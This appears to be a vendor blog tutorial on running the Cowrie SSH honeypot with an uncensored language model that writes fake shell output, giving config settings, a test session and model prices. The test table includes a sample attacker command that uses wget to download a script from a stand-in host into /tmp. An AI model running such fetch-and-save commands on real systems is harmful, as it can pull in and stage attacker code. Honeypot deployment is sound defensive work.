MorseSign inOpen Morse

Cowrie honeypot with an LLM backend: an uncensored model playing the shell, tested

The Morse teamPublished Facts checked 4 min read

Cowrie is an open-source SSH and Telnet honeypot that logs brute-force logins and everything an attacker types, and in LLM mode it hands each command to a language model, which writes back what a real server would print. Any OpenAI-compatible model can do the job, including an uncensored one: on December 3, 2026, we ran Cowrie 3.1.10 with GLM 5.3 Flash Uncensored on Morse's API as the shell, and logged what it answered.

Cowrie's README describes it as "a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker," and adds: "In LLM mode, it uses large language models to generate dynamic responses to attacker commands." The README marks that backend as experimental. The settings below come from the config template that ships with Cowrie, read on December 3, 2026.

Three ways Cowrie answers an attacker

ModeHow it worksTrade-off
Shell (medium interaction)Cowrie "emulates a UNIX system in Python"Fast and safe, but its fake filesystem has limits a careful attacker can find
Proxy (high interaction)It "functions as an SSH and telnet proxy to observe attacker behavior on another system"Real answers, but you run and reset a real system
LLMA model writes each command's outputAnswers anything, with no real system behind it; each command costs one model call

LLM mode is the middle path: the attacker gets plausible output for any command, and nothing they type ever runs.

The cowrie.cfg we ran

Install with pip install cowrie, run cowrie init in an empty folder, and edit the etc/cowrie.cfg it writes. These are the lines we changed, following Morse's Cowrie guide:

[honeypot]
backend = llm

[llm]
host = https://inference.trymorse.ai
path = /v1/chat/completions
model = z-ai/glm-5.3-flash-uncensored
max_tokens = 2000

[ssh]
listen_endpoints = tcp:2222:interface=127.0.0.1
  • Cowrie joins host and path into the URL it calls, so /v1 goes in path, not host.
  • The key stays out of the file: we passed it as COWRIE_LLM_API_KEY.
  • The template's defaults are gpt-4o-mini, a max_tokens of 500, and a temperature of 0.7. Raise max_tokens so long outputs like a package install aren't cut off.
  • We bound SSH to 127.0.0.1 for the test. On a real deployment it listens where attackers can reach it, on a machine you control and nothing else depends on.

Edit the existing [llm] and [ssh] sections rather than adding new ones. We added a second listen_endpoints line by mistake, and Cowrie wouldn't start: Python's config parser stopped with a duplicate-option error, and twistd then reported "Unknown command: cowrie," which points nowhere near the real cause.

What the model answered

With Cowrie running, we connected over SSH as root and sent four commands, one at a time:

CommandTimeWhat the honeypot printed
uname -a1.0 sLinux svr04 5.15.0-91-generic #101-Ubuntu SMP … x86_64 GNU/Linux
cat /etc/os-release | head -30.5 sPRETTY_NAME="Ubuntu 22.04.3 LTS", then NAME and VERSION_ID to match
ls /var/www0.4 shtml
wget http://example.com/update.sh -O /tmp/update.sh1.4 sA full wget transcript: resolving, connecting, "200 OK", "Saving to: '/tmp/update.sh'"

Every answer was consistent with the last: the kernel string matches the Ubuntu release, and the hostname, svr04, is the one Cowrie logged when it started the LLM backend. No file was downloaded and no command ran. The model only wrote what a server would have printed, and Cowrie logged the whole session for you to study.

Why the model should be uncensored

The commands a honeypot sees aren't polite. Attackers fetch scripts, check what they can reach, and try to install their own tools. The shell has to answer those the way a real server would, every time. A model that hesitates on a download command or adds a caution to its output breaks the illusion in one line, and the attacker moves on before you've learned anything.

That's the Cybersecurity use Morse's /inference page names for its uncensored models: testing, monitoring, and defending your own systems. A honeypot is a monitoring tool, and its value is in how long the attacker stays.

Which uncensored model to run the shell

A honeypot sends one model call per command, so speed and cost per call matter more than depth. From the live catalog on December 3, 2026:

ModelContextPrice
GLM 5.3 Flash Uncensored1M tokens$0.225 per million input tokens and $1 per million output tokens
Gemma 4 26B A4B Uncensored256K tokens$0.175 per million input tokens and $0.85 per million output tokens
DeepSeek V4.1 Flash Uncensored1M tokens$0.50 per million input tokens and $1.50 per million output tokens

A long context also helps the model keep a session consistent: every earlier command and its output can stay in view.

For the rest of a security toolchain on uncensored models, from threat modeling to the final report, see AI red teaming with uncensored models.

Keep the honeypot's traffic private with Morse

A honeypot's model sees everything an attacker types, including the infrastructure they reveal and the payloads they try to fetch. Morse Private Inference serves uncensored models over an OpenAI-compatible API, so Cowrie's [llm] section needs only a host, a path, and a key, and Morse has zero data retention agreements with its inference, search, and other providers.

Get an API key just for the honeypot, cap its spend, and pass it as COWRIE_LLM_API_KEY.

Common questions

What is Cowrie?

An open-source SSH and Telnet honeypot. Its README describes it as "designed to log brute force attacks and the shell interaction performed by the attacker." It can fake a shell in Python, proxy to a real system, or, in LLM mode, have a model write the responses.

How do I turn on Cowrie's LLM backend?

In etc/cowrie.cfg, set backend = llm under [honeypot], then set host, path, model, and max_tokens under the [llm] section that's already in the file. The API key can come from the COWRIE_LLM_API_KEY environment variable instead of the file.

Which model does Cowrie's LLM mode use by default?

Its config template defaults to gpt-4o-mini on api.openai.com. Any OpenAI-compatible endpoint works if you change host, path, and model.

Why use an uncensored model in a honeypot?

Attackers type commands that fetch and run their own tools. The shell has to answer those the way a real server would, every time, or the attacker knows it's a trap.

Ask what you actually want to ask.

80+ models, characters, and images, with every chat encrypted and kept on your device. Free to start.

Start a private chat

Read next